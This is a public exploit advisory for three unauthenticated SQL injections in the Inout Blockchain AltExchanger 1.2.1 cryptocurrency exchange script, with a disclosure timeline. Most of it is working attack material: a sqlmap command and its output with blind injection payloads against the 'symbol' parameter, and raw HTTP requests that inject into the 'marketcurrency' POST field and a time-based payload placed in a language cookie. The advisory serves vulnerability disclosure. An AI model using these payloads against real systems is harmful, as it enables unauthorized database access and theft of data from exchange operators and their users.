Blockchain AltExchanger 1.2.1 SQL Injection

`# Information  
```  
Vulnerability Name : Multiple Remote SQL Injections in Inout Blockchain AltExchanger  
Product : Inout Blockchain AltExchanger  
version : 1.2.1  
Date : 2022-05-21  
Vendor Site : https://www.inoutscripts.com/products/inout-blockchain-altexchanger/  
Exploit Detail : https://github.com/bigb0x/CVEs/blob/main/Blockchain-AltExchanger-121-sqli.md  
CVE-Number : In Progess  
Exploit Author : Mohamed N. Ali @MohamedNab1l  
```  
<br>  
  
# Description  
<br>  
  
Three SQL injections have been discovered in Blockchain AltExchanger cryptocurrency exchange platform v1.2.1. This will allow remote non-authenticated attackers to inject SQL code. This could result in full information disclosure.  
<br>  
  
## 1- Vulnerable Parameter: symbol (GET)  
  
<br>  
  
Vulnerability File: /application/third_party/Chart/TradingView/chart_content/master.php  
  
<br>  
  
### Sqlmap command:  
`  
python sqlmap.py -u "http://vulnerable-host.com/application/third_party/Chart/TradingView/chart_content/master.php/history?from=1652650195&resolution=5&symbol=BTC-BCH" -p symbol --dbms=MySQL --banner --random-agent --current-db  
`  
<br>  
  
### output:  
`  
Parameter: symbol (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: from=1652650195&resolution=5&symbol=BTC-BCH') AND 7820=7820 AND ('HqKC'='HqKC  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: from=1652650195&resolution=5&symbol=BTC-BCH') AND (SELECT 1060 FROM (SELECT(SLEEP(5)))WJpc) AND ('rQoO'='rQoO  
[16:43:22] [INFO] testing MySQL  
[16:43:23] [INFO] confirming MySQL  
[16:43:26] [INFO] the back-end DBMS is MySQL  
[16:43:26] [INFO] fetching banner  
[16:43:26] [INFO] resumed: 5.6.50  
web application technology: PHP 7.0.33  
back-end DBMS: MySQL >= 5.0.0  
banner: '5.6.50'  
[16:43:26] [INFO] fetching current database  
[16:43:26] [INFO] retrieved: inout_blockchain_altexchanger_db  
current database: 'inout_blockchain_altexchanger_db'  
`  
<br>  
<img src="./resources/Blockchain-AltExchanger-121-sqli-1.png">  
<br>  
  
## 2- Vulnerable Parameter: marketcurrency (POST)  
  
<br>  
  
Vulnerability File: /index.php/coins/update_marketboxslider  
  
<br>  
  
### HTTP Request:  
----------------------------------------------------  
`  
POST /index.php/coins/update_marketboxslider HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: http://vulnerable-host.com/  
Cookie: inoutio_language=4  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Encoding: gzip,deflate,br  
Content-Length: 69  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36  
Host: vulnerable-host.com  
Connection: Keep-alive  
displaylimit=4&marketcurrency=-INJEQT-SQL-HERE  
`  
----------------------------------------------------  
  
<br>  
  
## 3- Vulnerable Parameter: Cookie: inoutio_language (GET)  
  
<br>  
  
Vulnerability File: /index.php  
  
<br>  
  
### HTTP Request:  
----------------------------------------------------  
`  
GET /index.php/home/about HTTP/1.1  
Referer: https://www.google.com/search?hl=en&q=testing  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36  
x-requested-with: XMLHttpRequest  
Cookie: inoutio_language=0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Encoding: gzip,deflate,br  
Host: vulnerable-host.com  
Connection: Keep-alive  
`  
----------------------------------------------------  
  
<br>  
  
## Timeline  
```  
2022-05-03: Discovered the bug  
2022-05-03: Reported to vendor  
2022-05-21: Advisory published  
```  
  
<br>  
  
## Discovered by  
```  
Mohamed N. Ali  
@MohamedNab1l  
ali.mohamed at gmail.com  
  
```  
`